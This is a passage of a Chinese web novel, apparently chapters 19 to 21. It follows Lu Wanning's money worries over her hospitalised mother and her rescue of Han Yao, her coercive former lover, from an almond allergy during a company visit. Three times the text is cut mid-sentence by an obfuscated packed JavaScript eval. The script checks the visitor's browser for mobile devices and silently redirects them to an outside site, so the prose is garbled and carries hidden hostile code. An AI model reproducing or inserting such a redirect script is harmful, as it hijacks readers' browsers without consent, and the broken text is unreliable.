徐珍见她误解了,忙道:“抱歉,我不是那个意思。”她迟疑了下,“我是想说,这么一点钱的事情,你和韩总认识,直接找她帮忙不是更快吗?” 这么一点钱。 对于有积蓄的人来说,的确只是“一点”,但对陆晚柠来说,却已经超出了她能负担的范围。 她握着手机的手一紧。 陆晚柠沉默良久,苦笑道:“我们上次聊过这个话题……天下没有免费的午餐。” 她当然知道韩窈最不缺的就是钱,也知道如果自己主动开口,韩窈一定会解决这个难题。可是不到万不得已,她实在不想这样做。 徐珍识趣地没有追问她们两人之间到底是怎么回事,只是爽快道: “工资不能预支,这是公司的规定,但我可以个人名义借你,你届时需要多少,直接告诉我就行。” “真的?”陆晚柠深深吸了口气,心里的紧张放松了不少,“我都不知道怎么感谢你了。” “别客气。”徐珍说,“上回你不也替我向韩总开口了,我还没好好感谢你。” “嗯……” 徐珍慢悠悠道:“晚柠,我多说两句,要是不中听你别介意。” “你说。” “如果我是你,能请得动韩总帮忙,肯定一秒钟也不犹豫,直接和她开口。人脉不就是拿来在关键时候用的么?此时不用,更待何时。” 陆晚柠一时哑然。 话糙理不糙。 徐珍又道:“我还是上次那个观点。没有免费的午餐,那就赖账。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15388648|167989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “像韩总那样的人,有权有势,要什么得不到呢?反正像我们这种普通人,也没有什么了不得的价值给她,大不了,要钱没有要命一条。” “当然,我无意干涉你的事,只是随口唠叨两句。”她笑笑,“这个世界上,那些能够向上爬的人有一个共同点,就是懂得如何利用自己手里的资源。” “……”陆晚柠听得出来,徐珍是在真心实意地以前辈的身份给自己一些建议。因此她没有反驳,而是轻声道,“嗯,事情没有这么简单。” 如果真是“要钱没有要命一条”就好了。 韩窈要的究竟是什么,只有陆晚柠知道。 可是她给不起。 把自己卖了都给不起。 *** 石门这边医生给的治疗方案需要陆佳惠住院整整一个月,这期间都需要静养。陆晚柠忙着办手续、找护工,这两天几乎都没怎么合眼。 先前帮忙把陆佳惠送来医院的邻居也来看了她一趟,瞧着陆晚柠忙前忙后的样子,不住夸赞:“你女儿真孝顺呀。” 陆佳惠明明嘴角已经要翘到天上去了,却偏偏要故作谦虚:“还好啦,丫头平时在帝都上班,也不怎么回来看我的。” “在帝都上班肯定赚得很多吧,住院这么多钱,一下子给你交掉啦,还给你找护工!” “都说了喊她别找别找,浪费那个钱干嘛,她还非要找。”陆佳惠说着埋怨的话,语气可乐开了花,“生怕我恢复不好。” 邻居笑着打趣:“人比人气死人,我家那个什么时候能有这么好。” 陆晚柠在旁边听着,笑笑没插嘴。她这次回来都没顾得上带箱子,只拿了个大旅行包:“妈,阿姨,我走了。晚上的高铁,明天回去上班。” “去吧。”陆佳惠摆摆手,“到了说一声啊。” 陆晚柠又回头看了她一眼,告别过后便坐上了去高铁站的地铁。 石门的医生推荐了帝都几家外科比较权威的医院,她一一查过了——近期的号抢光了,远期的号都没放,只能过段时间再试试了,先等陆佳惠治疗完吧。 “叮!” 手机忽然响起了一声提醒,提示有某个日程即将发生,将陆晚柠的注意力从老妈的事中抽离出来。 明天,就是她要给韩窈答复的日子。 而她现在还剩下24小时。 20. 蜜 *** 和大客户做成项目的时候,按公司惯例都会举行一场签约仪式,发发新闻稿宣传一下,能够起到很好的品牌正面效果。 这次和复城当然也不例外。徐珍跟他们委婉地提了一嘴,可惜对方没这个意思,只得作罢。 不过想要起到宣传的作用,途径也不止这一个。徐珍迂回试探,最终争取到了一个带团队全员过去拜访的机会,届时留下一些照片影像放在公司的公众号里,也是不错的结果。 而拜访的日期就在今天。 摄像的任务一般都是由部门里年纪最小的人兼任,这次自然而然就交到了陆晚柠身上。 同事给她演示怎么使用相机,这种数码产品对年轻人来说很简单:“会了吧?” “嗯。” 同事打量着她,讶异道:“休了两天假,你脸色怎么反倒更差了。” “是么。”陆晚柠下意识摸了摸自己的脸,片刻才低声解释,“照顾我妈住院,没怎么睡好。” 同事也没起疑,只宽慰了她几句:“我家老人之前也有类似的毛病,找了一个很权威的大夫给看好了。”她说了医院和医师的名字,撇撇嘴角,“就是号很难挂,不找黄牛根本看不上。” 那家医院陆晚柠之前也在网上查过,情况确实和同事说得一模一样。 如果到时候不得不找黄牛,又是一笔新的费用。 部门全体成员分两辆车前往复城,陆晚柠坐在后座,听着旁边的人叽叽喳喳,全然提不起聊天的兴致,只偶尔机械地“嗯”两声。 同事们知道她因为母亲生病心情不佳,也没刻意拉着她聊,善意地留出了几分空间。 陆晚柠确实也在牵挂陆佳惠,但病情已经稳定,倒没有太紧急的问题要处理,眼前头疼的是—— 今天。 手机里设置的日程还显示“待完成”,明晃晃地躺在消息推送中,一旦想要左滑删去,便会跳出来一行字: “是否已完成‘给她答复’?” 陆晚柠闭上眼,假装这样就能够逃避问题。 韩窈是一个时间秩序很强的人,这次的三天已然是最后通牒。现在的时间是14点22分,距离今天过去只剩下8个小时不到。 一旦超时,陆晚柠不敢想象会发生什么。 她知道韩窈什么都做得出来。什么都。其中滋味,她从前已经领教过太多次了。 可是所谓答复,又真的有选项存在吗?她们都知道韩窈能够接受的答案只有一个。 陆晚柠觉得自己好似掉入了看不见的漩涡当中,求生无门,根本找不到挣脱的办法,仿佛只剩下了一条路,那就是认命。 而后重蹈覆辙。又一次。 思绪纷乱间,两辆车很快就驶到了复城大厦楼下。陆晚柠握紧挂在脖子上的摄像机,跟在同事身后走了进去。 这好像还是她第一次堂堂正正地走进复城的大门。 早就在大堂等候着的接待人员微笑着为他们刷卡通过闸机:“您好,这边请。” 抛开商业性,这幢数十层高的大厦本身也是帝都的地标性建筑之一,因此复城为他们安排了参观的环节,带领他们乘坐电梯,介绍内部结构。 “这一层是专门用来放松休闲的。”接待人员介绍道,“有休息室、甜品区、健身房等等。” 复城集团财大气粗,配的设施也是一等一的好,譬如健身房,器材崭新、空间宽阔,还比外面收费的干净不少,叫同事们一时间全都看花了眼,啧啧称奇。 “……”徐珍扶额,腹诽这群手下能不能有点出息,别一副没见过世面的模样,同时没忘了提醒,“晚柠。” 陆晚柠应了声,迅速拍下几张照片。 …… 许多年前这里也是健身房,只是如今器械早就换了一批。 从前韩窈喜欢在凌晨叫陆晚柠陪她来这里,明明眼里已经透着困倦,却依旧兴致勃勃:“试试那个。” 陆晚柠便会依言拎起她指着的哑铃。 “再重一点的呢?” 直到试出陆晚柠力量的极限,韩大小姐才会满意,“柠檬。”她说,“你真厉害。” “哪有那么夸张。”陆晚柠不习惯接受直接的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399817|167989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赞美,撇过头。 “你抱得动我吗?” 答案是当然,只是哪怕更过分的事情也做过很多次了,陆晚柠还是需要做一番心理建设才能靠近韩窈。 手还没碰到便会闻到淡淡的香气,黑色的发梢落在她肩上,如同美杜莎的蛇发一样,将她紧紧缠住。 陆晚柠微微俯下身,很轻松便环着韩窈的膝盖将她举了起来,只觉怀中是一片轻盈的羽毛,纤细又柔软,几乎没有什么重量。 她太瘦了。 抬眸便被韩大小姐抱住了肩膀,笑眯眯,“柠檬,你是大力士哦。” 对视的瞬间,陆晚柠就莫名红了脸,狼狈地想要侧过头,可是韩窈哪容她躲,捧着她的脸就一口咬了上去。 ——轻轻的,像猫。 可是后面就很重了,也像猫。 陆晚柠不知道韩窈怎么能一边说着天真无邪的话,一边咬她,温热的呼吸都往耳朵和脖颈上钻。 到处都是韩窈的牙印。 她很怕痒,可韩窈又不准她松手,为了不摔着韩大小姐,只能忍让又忍让。 韩窈就喜欢这样故意欺负她。 …… 就在这面墙边。 就在刚才拍下的那张照片里。 陆晚柠面无表情地关掉相片预览,跟着大部队一起走向这一层的其他地方。 接待人员道:“这是集团内部的小厨房,平时开会的茶水点心都是从这里供应喔,全部都是当天现做。” 刚巧有一个女生端着托盘从里面出来,接待人员便请她介绍一下今日的菜单,她笑眯眯道:“今天的饮品是杏仁茶。” 看着众人跃跃欲试的眼神,女生道:“等下我回来可以给各位准备一些。”她瞥了一眼手中的托盘,抱歉道,“韩总在楼上开会,这是给他们准备的。” 骤然间,徐珍和陆晚柠同时抬起了眼,异口同声: “哪个韩总?” 只不过前者是想着借机维护客户,后者想的则是—— 韩窈对杏仁严重过敏。 哪怕一口,也会过敏性休克。 21. 蜜 见眼前两人同时发问,女孩愣了一下,很小心地提起了那个人的名字:“呃……是,韩窈小姐。” 其实陆晚柠本该明白的,因为这里另一个姓韩的人是韩窈的父亲韩济源,而复城的员工并不称呼他为“韩总”。可是她已乱了阵脚,无暇思考这么多,只想尽快确认杏仁茶并没有韩窈的一份。 然而事总与愿违。 徐珍并不知道内情,闻言,更加感兴趣地问:“这是韩总喜欢的口味吗?好特别。”复城可是股东兼大客户,她赶紧将这个“杏仁茶”默默记下。 端茶的女孩回答道:“今天是第一次做,还不知道韩总和客人们喜不喜欢。” 复城的员工为什么连韩窈对杏仁过敏这件事都不知道?陆晚柠心焦如焚,几次张口想要说些什么,却又找不到合适的理由阻拦。 此刻她在众人面前的身份是来拜访的合作方,就算说了也不会有人信。毕竟一个外人,怎会对复城大小姐的事那么清楚。 眼见着女孩的身影即将走远,陆晚柠没有别的办法,只得深吸一口气,忽地摘下脖子上的相机递给同事:“不好意思,我,我肚子不太舒服,想去下厕所。” 她急得额头上出了一点汗珠,落在同事眼里无比逼真,加之本来就知晓她近来没休息好,身体不适,更是不疑有他:“好,快去吧。” “厕所在那边。”接待人员指了个方向,微笑道,“这层还有很多地方没参观,等下您回这边来找我们就可以。” 复城大厦对陆晚柠来说比自己家还熟,她当然知道厕所在哪儿了——正是端茶的女孩离去的方向,所以她才会找这个借口。 她一溜烟就朝那边跑去,转角处,刚好赶在女孩进电梯前截住她:“喂,等等!” “咦?” 女孩回过身来,认出陆晚柠是谁,微微讶异地歪头:“请问您有什么事情吗?” 陆晚柠在她面前站定,俯下身扶着膝盖喘了口气,心想自己的体力真是越来越差了,大不如前。 “这茶不行。”她简短地说,“你不知道吗?韩……小姐对杏仁过敏。” 女孩初是震惊,后又狐疑地盯着她:“如果我没记错,贵司是第一次来拜访吧,您怎么会了解韩总的事?” 陆晚柠一时哑然,最终决定不解释。 “先别管我为什么知道,总之,你们韩小姐对杏仁严重过敏,这茶不能给她喝。”她又重申了一遍事实。 没头没尾,更加可疑了,不过事关韩总的健康问题,确实得核实一下。女孩放下托盘,从身上拿出内部对讲机,低声讲了几句话。 几秒后,她看陆晚柠的眼神更加不对劲了:“我问了下我们主管,从来没听说过有这件事。” 怎么可能! 女孩嘴上没说什么,但神态中明显流露出了深深的不信任:“抱歉,韩总和客人还在楼上等着,我得先上去了。” 电梯很快在陆晚柠眼前关上,她不晓得自己该不该追上去。 说不定那些茶都是给客人的,韩窈自己压根不会碰;又说不定女孩奉茶上去时会进行介绍,她听到“杏仁”便会知道自己不能喝。说不定…… 可是万一呢,万一她就是喝下去了呢? 时间一点一点流逝,陆晚柠看到电梯上显示的数字一层层上升,女孩很快就会到她该去的楼层,她大概还能再犹豫三秒钟。 ——硬币落下的那一刻,你才会知道自己想要的究竟是正面还是反面。 而液晶屏幕上数字定格的那一刹,陆晚柠也知晓了自己终究没有办法坐视不管,哪怕这又是韩窈将她玩弄在手掌中的某种把戏。 她以最快的速度按下上升键,乘坐电梯去往熟悉的三十六楼——这层只有一间会客室。 脚步声匆匆从背后响起,在寂静的走廊内回荡,端茶的女孩诧异地回眸,见是陆晚柠,再度带上几分防备:“您还有什么事吗?” 陆晚柠认真道:“你听我说,韩窈是真的对杏仁过敏,你一定要提醒她。” “好的,我会的。”女孩皱眉,显然已经不耐烦,赶人之意溢于言表,“您不是来参观的吗?”这人真是好奇怪。还有,她是怎么知道自己要来三十六层的? 见对方答应,陆晚柠这才松了口气。眼瞧着女孩进了会客室,她却还是不放心,依旧站在外面没走。 玻璃门的中间一片是磨砂,幸好她个子高,略略踮起脚,视线便能越过磨砂看到里面的情形。 里头除了韩窈还有两位客人,茶几上,各人面前放了一盏杏仁茶。 送茶的女孩分明张口讲了什么话。 可那只熟悉的、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15407181|167989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被丝质衣袖包裹大半的手还是覆在了白瓷茶碗上,端起轻嗅,将饮未饮—— “等等。” 韩窈抬起眸。 她的左手腕被死死攥住。 玻璃门被兀地撞开,陆晚柠站在她身前,用力地从喉咙里憋出两个字,即便三道或惊慌或好奇的视线全部打在她背上,如坐针毡,也没有动摇分毫。 随后她从韩窈掌中夺过了那个茶碗,没有丝毫犹豫。 这个人怎么回事,为什么擅自闯进来,韩小姐如果生气了可怎么办?!送茶的女孩害怕极了,刚想开口说些什么,却见韩窈笑着抬起右手。 “是哦,过敏。”她风轻云淡,说话的语气仿佛和陆晚柠完全不熟一样,“谢谢你,差点误食了。” 衣袖垂下。 陆晚柠明明已经松手了,却还是抽不出来,因为韩窈的手指缓慢地爬上了她的手背,反握住她。 闻言,送茶的女孩惊呆了,连忙鞠躬道歉:“抱歉韩总!” 居然是真的!可是刚才自己明明说了有杏仁,韩总她为什么连自己会过敏都能忘掉?还有主管又是怎么回事,连大小姐的事都不晓得! 转瞬她看陆晚柠的眼神便充满了愧疚和感激。不管怎样,如果大小姐真的出什么事,她这个打工人可就死定了。 “没事。”韩窈柔柔一笑,“不怪你。” 她说:“正好聊得差不多了,替我送送两位客人吧。” 听韩窈这样说,两位客人对视一眼便顺从站起了身,送茶的女孩想要将功补过,赶紧恭敬地将他们送出门外。 会客室内重归静谧,衣袖滑落。 韩窈依旧没放开她。 陆晚柠什么也没说,只深深、深深地看了韩窈一眼,随后沉默垂眸。她的力气更大,因此很轻易便能够挣脱出来,没再犹豫转身便要离去—— “陆晚柠,你敢?” 很冷的一声。 韩窈微笑着,可是她面上的笑意并没有到达眼底,只是再度伸手捉住陆晚柠的手腕。 柔若无骨的手指,似纤弱又坚韧的藤蔓,一点一点,将她包裹住,直至无处可逃。 她一个字一个字地说: “今天是你要给我答复的日子。” “要把你绑起来教训一下才听话吗?”